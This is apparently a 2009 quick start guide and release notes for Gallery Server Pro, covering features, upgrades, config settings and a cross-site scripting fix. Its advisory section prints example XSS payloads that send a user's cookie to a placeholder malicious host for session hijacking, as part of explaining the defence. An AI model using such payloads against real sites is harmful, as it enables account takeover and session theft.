Gallery Server Pro 2.3.3440 Quick Start Guide

Overview

Version 2.3 introduces several significant features and dozens of bug fixes. Among the most important
are faster performance, user-owned albums, self-registration, and better rendering of media objects.

This guide is a temporary document to help you get up and running. Once the Administrator's Guide is
fully updated, this document will be discontinued. Refer to the Administrator's Guide for any information
not described here. For example, since the Requirements have not changed, they are not included, and can
be found in the Administrator's Guide.

Version 2.3.3421 was released May 14, 2009. A few bugs were identified, including an important
security vulnerability, so version 2.3.3440 was released June 2, 2009. Read more about the security

vulnerability.

Read about the new features in my blog post at
http://www.galleryserverpro.com/blog.aspx?id=1589276724211336743. Once you have Gallery Server Pro
installed, there is a little help icon that appears to each setting in the Site Admin area. These are a great
source of information, especially until the Administrator's Guide has been updated.

You can also read detailed PDF reports of the features and bug fixes on the Release History page.

New Features in 2.3.3440

e Allow administrator to disable the ability for users to delete their own account (config setting
allowDeleteOwnAccount)

e Performance improvement: Faster page loading for administrators when there are lots of user
accounts

Bug fixes in 2.3.3440

e Cross-site scripting vulnerability in external media object functionality (new config settings
allowUserEnteredJavascript, allowedHtmITags, and allowedHtmlAttributes)

e Error when album owner template role has albums assigned to it

e HTML may appear in page title

e SQL Server install or upgrade script fails when database user has a default schema other than dbo

e Error in cultures that use a comma instead of decimal point

e The search page shows only the top album in the breadcrumb menu, not the current album the user
may have been viewing

e Scroll position lost when paging on Manage Users page

e Trying to create three or more users in a row does not work

e ComponentArt objects not disposed during callback on Manage Users page


http://www.galleryserverpro.com/blog.aspx?id=1589276724211336743
http://www.galleryserverpro.com/releasehistory.aspx

Create User method fails for SQLite when no email is specified (This was a bug in an area of the
SQLite Membership Provider that is never invoked by Gallery Server Pro, so this affects only
developers who have written custom code against the provider)

Hiding the login controls also hides the "My account" button

New Features in 2.3.3421

Allow deleting the hi-res images for multiple albums

Fix unintuitive checking/unchecking of albums in treeview

Provide option to discard original image during upload

Allow paging of thumbnails on album view page

Download button gives user original image rather than optimized image
Allow user to download multiple objects in a single ZIP file

Allow users to self register user accounts

Record log of web errors

Allow a user to be an album owner

Allow making an album private when it is created

Reduce security warnings and improve log on / log off behavior

Allow e-mail to be sent using SSL encryption

Remove dependence on global.asax

Add rounded corners to thumbnails and other objects

Add more settings to Site admin area

Improve page loading performance

Use left and right arrows to navigate media objects

Allow a media objects directory that is read-only

Add support for .divx files

Change rendering behavior for AVI and and WVX files

Improve rendering of PDF and Microsoft Word documents

Disable background page when uploading files

Allow the deletion of multiple albums in one step

Improve help icon popup behavior

Add support for rtf files

Allow user albums

Ability to update web.config and galleryserverpro.config in medium trust
Add option to always discard original image after uploading or synchronizing
Add additional functionality to My Account page

Improve performance of album treeview

Add option to prevent copying objects the user has read-only access for
Improve database performance

Includes the latest version of ComponentArt's WebUI suite: 2008.2 SP4, released February, 2009.
Ability to integrate into existing ASP.NET application without recompiling.

Bug fixes in 2.3.3421

Apostrophe or quotation mark in user name or role causes edit user/edit role dialog
failure



e Rendering issue when gallery is used in web page with floated screen objects

e Error: Item has already been added. Key in dictionary: 'Cannot send e-mail' Key being
added: 'Cannot send e-mail'

e SQLite membership provider passes incorrect argument to ValidatePasswordEventArgs
object

e Refactor hard coded English text to resource files

e Incorrect wording in the 'About private albums' popup

e Confirmation message not shown after rotating image

e Permalink may contain 'msg' query string parameter

e "Cannot create a file" error when deleting high res photos

e Configuration Error when running GSP in a second web application

e Popup help text very small in integrated web site

e SQlite error "Database file is locked"

e Upload control supported only in Firefox and IE

e (Can't leave Web site heading text URL field blank

e Cannot move external media object

e  Album thumbnails not updated after move

e Album dates not localized

e User orrole 'XXX' does not exist in this database

e High-res images do not display correctly when navigated directly by hyperlink

e Permalink is not updated when high-res button is toggled

e Current album view not preserved when user navigates to Site admin

e Limited permission user can't add zip with nested album

e Role/ album relationships not saved correctly

e Light grey border on thumbnail and optimized images

e Closing the progress window during a file upload does not cancel file transfer

e Update ASP.NET membership SQL scripts

e Error: The type initializer for 'Gsp.Gallery' threw an exception

e Synch dialog left in inconsistent state after error

e Cannot delete a role with Administer Site permission in SQLite

e Deleting a role leaves orphan user/role relationships in SQLite

e Role name behavior inconsistent between SQLite and SQL Server

e Transparent portions of watermark images not transparent when applied to image

e Improve compatibility with IE8

e Cannot manage a user or role when its name contains HTML

e Configuration data may be incorrect after editing in Site Admin area

e Incorrect roles may be associated with user

e Installation difficulty when applicationName is not "Gallery Server Pro" or password
format is not "Clear" (SQL Server only)

e Cannot set email or user comment to empty string

e Calendar control does not work when user's system uses a non-Gregorian calendar

e SqlDateTime overflow when importing SQLite users into SQL Server

Detailed reports for the features and bug fixes are available on the Release History page.



http://www.galleryserverpro.com/releasehistory.aspx

Change in Behavior

e (2.3.3421) The "Remember Me?" checkbox in the login window is unchecked by default.
e (2.3.3440) HTML is not allowed in external media objects. An administrator can enable this on the
User Settings page in the Site admin area.

Known Issues In 2.3.3440

e The upgrade wizard imports some, but not all, settings in your current web.config and
galleryserverpro.config files. If you edited either of these files with a text editor you may find those
settings are not imported. In this case they must be manually migrated. Generally speaking, all
settings that are configurable through the Ul are imported.

e Restoring data to a SQL Server 2000 database using the built-in restore function is not supported.

e Restoring data to SQL Server using the Restore feature requires SQL permissions equivalent to that
provided in the db_ddladmin or db_owner roles. You may have to manually configure the SQL user
using a tool such as SQL Management Studio to provide this permission prior to using the Restore
feature.

e Ifan upload is aborted because it violates the size limitation set by the administrator, the user
cannot upload another file until she refreshes the page. This is a limitation with the ComponentArt
Upload control, which is used in IE and Firefox in Full Trust environments.

e IS 7: If the .divx MIME type has been previously configured in IIS, the web site will not render
correctly. Either remove the MIME type using IS Manager or delete the following section in
web.config: <staticContent><mimeMap fileExtension=".divx" mimeType="video/divx" />

</staticContent>

e IS 6: 1IS will not serve .divx files unless you specify the .divx MIME type in IS Manager.

e The following error occurs if you disable the slide show feature on the Media Objects - General page
in the Site admin area: Invalid numeric input for Slide show interval (ms). The workaround is to
manually update galleryserverpro.config using a text editor. As long as slide shows are disabled, you
will have to manually update the config file to change any of the settings on this page. This will be
fixed in the next release.

Installation and Upgrade

Overview

Installing and upgrading Gallery Server Pro 2.3 are nearly identical to the process for 2.2, so | refer you
to the Administrator's Guide for full details. There is one change, however: you now download either the
32-bit or 64-bit version of Gallery Server Pro. The 32-bit version is for a 32-bit operating system, and, well, I'll
leave it as an exercise to the reader to figure out what the 64-bit one is for.

Previous versions of Gallery Server Pro worked by default on 32-bit operating system. If you had a 64-bit
OS you had to manually download the 64-bit version of System.Data.SQLite.dll and replace your existing 32-
bit version with this one. Starting with 2.3, you can choose the package that is appropriate for your
environment, saving you the step of having to swap out the dll.

Note: If you get an error while installing or updating, turn on detailed error reporting to see the full
error message. In gs\config\galleryserverpro.config, change the showErrorDetails attribute to "true".



You may also need to set the customErrors mode to Off in web.config. That is, replace "RemoteOnly"
with "Off" in this line: <customErrors mode="RemoteOnly" />

New Installation

Follow the instructions in the Administrator's Guide to perform a new installation. The installation
instructions for 2.3 are the same as 2.2, except as noted above regarding the 32-bit/64-bit versions. That is,
if you install the 64-bit version of Gallery Server Pro on a 64-bit operating system, you do not need to
manually replace the System.Data.SQLite.dll file.

Upgrading from 2.3.3421 to 2.3.3440

Upgrading to 2.3.3440 is the same as upgrading to 2.3.3421, so | refer you to the Administrator's Guide
for full details.

Note that you do not have to run the Upgrade Wizard if you manually copy four new settings to your
galleryserverpro.config file. This may be more convenient if you manually edited web.config or
galleryserverpro.config in ways the Upgrade Wizard does not take into account.

To do this, copy the following settings to your existing galleryserverpro.config file. Paste them anywhere
within the <core... /> tag.

allowUserEnteredJavascript="false"

allowedHtmlTags ="p, a, div, span, br, ul, ol, 1li, table, tr, td, th, hl, h2,
h3, h4, h5, h6, strong, b, em, i, u, cite, blockquote, address, pre, hr, img,
dl, dt, dd, code, tt"

allowedHtmlAttributes ="href, class, style, id, src, title, alt, target, name"

allowDeleteOwnAccount="true"

There were no changes to web.config between 2.3.3421 and 2.3.3440.

Upgrading from a version earlier than 2.3.3421

Follow the instructions in the Administrator's Guide to upgrade from a previous version. The upgrade
instructions for 2.3 are the same as 2.2, except as noted above regarding the 32-bit/64-bit versions. That is,
if you install the 64-bit version of Gallery Server Pro on a 64-bit operating system, you do not need to
manually replace the System.Data.SQLite.dll file.

HINT: The Upgrade Wizard requires that you place a file named web_old.config in the root of your web
application. In some cases you will manually update your web.config or for some other reason you
don't want the Upgrade Wizard to update this file. To work around this, you can make a copy of your
existing web.config file and name it web_old.config. The Upgrade Wizard will notice that there isn't
anything to import and will let you continue.

Attention 2.0 Users
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If you are upgrading from 2.0.*, you must update the database to the 2.1.3162 schema before running
2.3. You can do this by manually executing one or two SQL scripts against your database. Read more
about this in the Administrator's Guide.

Changes in web.config for 2.3.3421

Note: The following changes took place for the 2.3.3421 release. No changes to web.config were made
for 2.3.3440.

If you are using Gallery Server Pro as a stand-alone application and haven't manually edited the
web.config file, you can let the upgrade wizard import your settings into the new web.config file. If you
integrated Gallery Server Pro into an existing application or manually edited the file, you will have to
manually update the file. Here is a summary of changes to web.config for 2.3:

New <appSettings> section within <configuration> element:
<appSettings>

<add key="ComponentArtScriptControls" value="PerControl" />
</appSettings>

Two new profile properties:
<add name="UserAlbumId" defaultValue="0" type="Int32" allowAnonymous="false" />

<add name="EnableUserAlbum" defaultValue="true" type="String"
allowAnonymous="false" />

New entry in <httpHandlers>:

<add verb="*" path="ComponentArtScript.axd"
type="ComponentArt.Web.UI.ScriptHandler, ComponentArt.Web.UI" />

New location element to increase the timeout of web services:

<location path="gs/services/Gallery.asmx">
<system.web>
<httpRuntime executionTimeout="86400" />
</system.web>
</location>

New entry in <modules>:

<remove name="ComponentArtUploadModule" />

New entries in <handlers>:

<remove name="ComponentArtUpload" />



<remove name="ComponentArtScriptHandler" />

<add name="ComponentArtUpload" path="ComponentArtUploadProgress.axd"
type="ComponentArt.Web.UI.UploadProgressHandler, ComponentArt.Web.UI" verb="*" />

<add name="ComponentArtScriptHandler" path="ComponentArtScript.axd"
type="ComponentArt.Web.UI.ScriptHandler,ComponentArt.Web.UI" verb="*" />

MIME type mapping for .divx files. This affects only IIS 7 or higher. To get earlier versions of IS to serve
DIVX files, you must use IS Manager to configure it.

<staticContent>
<mimeMap fileExtension=".divx" mimeType="video/divx" />
</staticContent>

About the source code

The source code is available if you are interested in viewing or modifying the application. The source
code version must be compiled prior to deployment. It is packaged as a Visual Studio solution and can be
opened in either Visual Studio 2005 or Visual Studio 2008, including the freely available Visual Web
Developer 2008 Express SP1, downloadable from Microsoft. If you are using VS 2005, use the solution file
named TIS.GSP (Visual Studio 2005).sIn.

Database changes

The database schema changed in version 2.3.3421, the first time since 2.1.3162. (No changes were made
for 2.3.3440.) There is a new table gs_AppError to store application errors, and a few other changes,
including new indexes for better performance. Gallery Server Pro will automatically upgrade the database
the first time you navigate to the gallery after running the Upgrade Wizard. There isn't a Ul notification or
button to click - it will just happen. You'll know if it worked by going to the Site Admin - Error Log page and
noticing that it doesn't crash ©

If you are using SQL Server membership tables, none of the database changes affect the ASP.NET
objects, so you don't have to worry about breaking other parts of your application that may depend on this.

Note: The column OwnedBy in the gs_Album table is cleared of any data during this upgrade.
Previous versions of Gallery Server Pro put the username who created the album in this field, but it was
never used by the application. This field is now critical to the new album ownership feature and for it to
work correctly, this field must be initially blank. This may affect you if you customized Gallery Server
Pro to use this field for some purpose.

BUG FIX: Cross-site scripting (XSS) vulnerability

The vulnerability exists in the external media object feature. This feature, introduced in 2.1, allows one
to add snippets of HTML - such as embed code for a YouTube video - as a media object. The text entered by
the user was not analyzed for malicious javascript. This was an intentional decision at the time because it
was impossible to predict the HTML one might want to add, and some sites - such as CNN - use the <script>
tag in their embed code. Since presumably administrators gave only trusted users the ability to add objects,
this seemed like an acceptable thing to do.



But then version 2.3 introduced community galleries and self registration, and suddenly a much wider
variety of users are able to add objects. Furthermore, | learned more about cross-site scripting attacks and
learned how Gallery Server was vulnerable.

How serious is this vulnerability? In the worst case scenario, a hacker can log in to the gallery as a
system administrator, meaning he or she can delete your media objects or change the settings in the Site
admin area. This is accomplished by creating a specially crafted snippet of HTML and uploading it as an
external media object. Each time the media object is viewed, the cookie of the user viewing it is sent to a
remote web site, thereby putting it in the hands of the hacker. The hacker can then use the cookie to
impersonate that user. For example, if an administrator viewed the malformed object, the hacker could
subsequently log in as the gallery administrator and do anything the administrator can do. This is called
session hijacking.

Note that this attack DOES NOT compromise the 1IS configuration or allow the user to take over the web
server. It appears to be restricted to allowing a hacker to log in under another gallery account.

It is possible this XSS vulnerability has other security implications, but as best | can tell this is the most
important one to worry about.

What was changed

For 2.3.3440, the following changes were made:

e The scope of the configuration setting allowHtmlInTitlesAndCaptions was expanded to apply to external
media objects. When false (the default value), the user is prevented from creating an external media
object that contains HTML. (Note: It would be more appropriate to rename the setting
allowUserEnteredHtml, but for the sake of backward compatibility and ease of upgrading the original
name was preserved.)

e  When HTML is explicitly enabled, the list of allowed HTML tags and attributes is severely restricted. They
are listed in two new configuration settings in galleryserverpro.config: allowedHtmITags and
allowedHtmlAttributes. (Previously the list was hard-coded and applied only to the titles of aloums and
media objects.)

e A new configuration setting allowUserEnteredlavascript can be used to control whether javascript is
allowed in user input. When false - which is the default - <script> tags and the string "javascript:" are
banned.

e For album and media object titles, invalid HTML and javascript is automatically removed before being
stored in the database. In previous versions, it was encoded (for example, < was replaced with &It;).

| believe when these settings are used at their default values Gallery Server Pro is protected against XSS
attacks, session hijacking, and any other attacks | have studied.

These changes mean that in the default configuration users can add only plain text as external media
objects. To make this feature more useful, an administrator will want to enable the HTML setting. | believe
that users are still protected against attacks when HTML is allowed as long as the list of allowed HTML
tags and attributes remain at their default values.



When HTML is enabled, the following HTML tags and attributes are allowed. An administrator can edit
these on the User Settings page in Site Admin.

Tags: p, a, div, span, br, ul, ol, li, table, tr, td, th, h1, h2, h3, h4, h5, h6, strong, b, em, i, u, cite, blockquote,
address, pre, hr, img, dl, dt, dd, code, tt

Attributes: href, class, style, id, sr, title, alt, target, name

You may still be vulnerable if you change the settings

Use caution when adding HTML tags and attributes to the "allowed" lists, especially event attributes
such as onclick, onmouseover, etc. Consider the following HTML snippet, which sends the logged-on user's
cookie to a remote web site and is a common technique used in session hijacking attacks to impersonate
another user:

<p onclick="document.location="http://www.malicioussite.com/s.cgi?' + document.cookie">Click me</p>

Starting with 2.3.3440, this text cannot be entered as an external media object (or an aloum or media
object title, for that matter) because it contains HTML. If you enable HTML, the text is still not valid because
it contains the onclick attribute which is not in the list of allowed HTML attributes. However, if you add
onclick to the list, this text can be entered, even if you have the javascript option disabled.

This is because javascript is very difficult to accurately detect. The allowUserEnteredJavascript setting
prevents the use of <script> tags and "javascript:" strings, but they are not present in this example. Sure,
Gallery Server Pro could search for document.cookie, but if it does that it needs to search for all the possible
javascript statements, which is cumbersome and error-prone.

Note that the following sample does not work and is therefore not a security risk:

<a href="document.location="http://www.malicioussite.com/s.cgi?' + document.cookie">Click me</a>

Even though the a tag and href attribute are in the list of allowed HTML, hyperlinks require the use of
the string "javascript:" like this:

<a href="javascript:document.location="http://www.malicioussite.com/s.cgi?' + document.cookie">Click me</a>

All of the allowed attributes in a default Gallery Server Pro installation require the use of the string
"javascript:", so as long as you are restricting javascript input (that is, allowUserEnteredJavascript=false),
you are protected.

Key points
e Starting with 2.3.3440, HTML and javascript are disabled by default for external media objects.

e The "Allow HTML" option on the User Settings page in the Site admin area now applies to external
media objects in addition to captions and titles.

e [f you previously enabled HTML in your gallery, then it is allowed but the HTML validator uses a slightly
different list of valid HTML tags and attributes than what was previously hard-coded.

e There are no known vulnerabilities if you enable HTML with the default list of tags and attributes.



e Adding any event attribute such as onclick, onmouseover, etc to the list of allowed HTML attributes
makes you vulnerable to XSS and session hijacking, even if you have the allow javascript option disabled.

e Enabling the use of javascript makes you vulnerable, even with the default list of HTML tags and
attributes.

How to tell if your site has been compromised

If users have been able to add external media objects to your gallery, they may have already uploaded
malicious code. The only sure way to determine if this has happened is to manually inspect the content of
external media objects. This feature is not exposed in the Ul, so you have to look in the database table. In
your favorite SQL program (such as Management Studio for SQL Server or SQLite Manager for SQLite) run
the following SQL:

SQlite:
SELECT MediaObjectld, ExternalHtmISource FROM gs_MediaObject WHERE LENGTH(ExternalHtmlISource) >
0
SQL Server:
SELECT MediaObjectld, ExternalHtmISource FROM gs_MediaObject WHERE LEN(ExternalHtmISource) > 0
You will see the snippets of text that users entered when they added external media objects. If you see
the text "document.cookie", that is a red flag. It is possible that a malicious user encoded the script to make
it difficult to find, so be suspicious of any text you do not understand.
A tip for adding external media objects that use script or banned tags
As | mentioned earlier, some web sites include javascript or banned tags in their embed code. For
example, here is a snippet of video from CNN.com:
<script

src="http://i.cdn.turner.com/cnn/.element/js/2.0/video/evp/module.js?loc=dom&vid=/video/world/2009/06/0
2/bpr.plane.debris.found.cnn" type="text/javascript"></script><noscript>Embedded video from <a
href="http://www.cnn.com/video">CNN Video</a></noscript>

The only way to add this to the gallery is to do three things: (1) enable javascript; (2) add the HTML tag
script to the list of allowed tags; (3) add the HTML attribute type to the list of allowed attributes. This is not
something | would recommend, but you can change the settings just long enough to add the code. Then go
back to Site admin and revert to the previous settings. The snippet will continue to work, synchronizing
won't break it, and your site is still safe.

Integrating Gallery Server Pro Into Your Existing ASP.NET Application

The information in the Administrator's Guide is still accurate, except now you no longer have to update the
global.asax file as part of the integration. That means you can add Gallery Server Pro into an existing ASP.NET
application without have to recompile it. You don't even have to have the source code.
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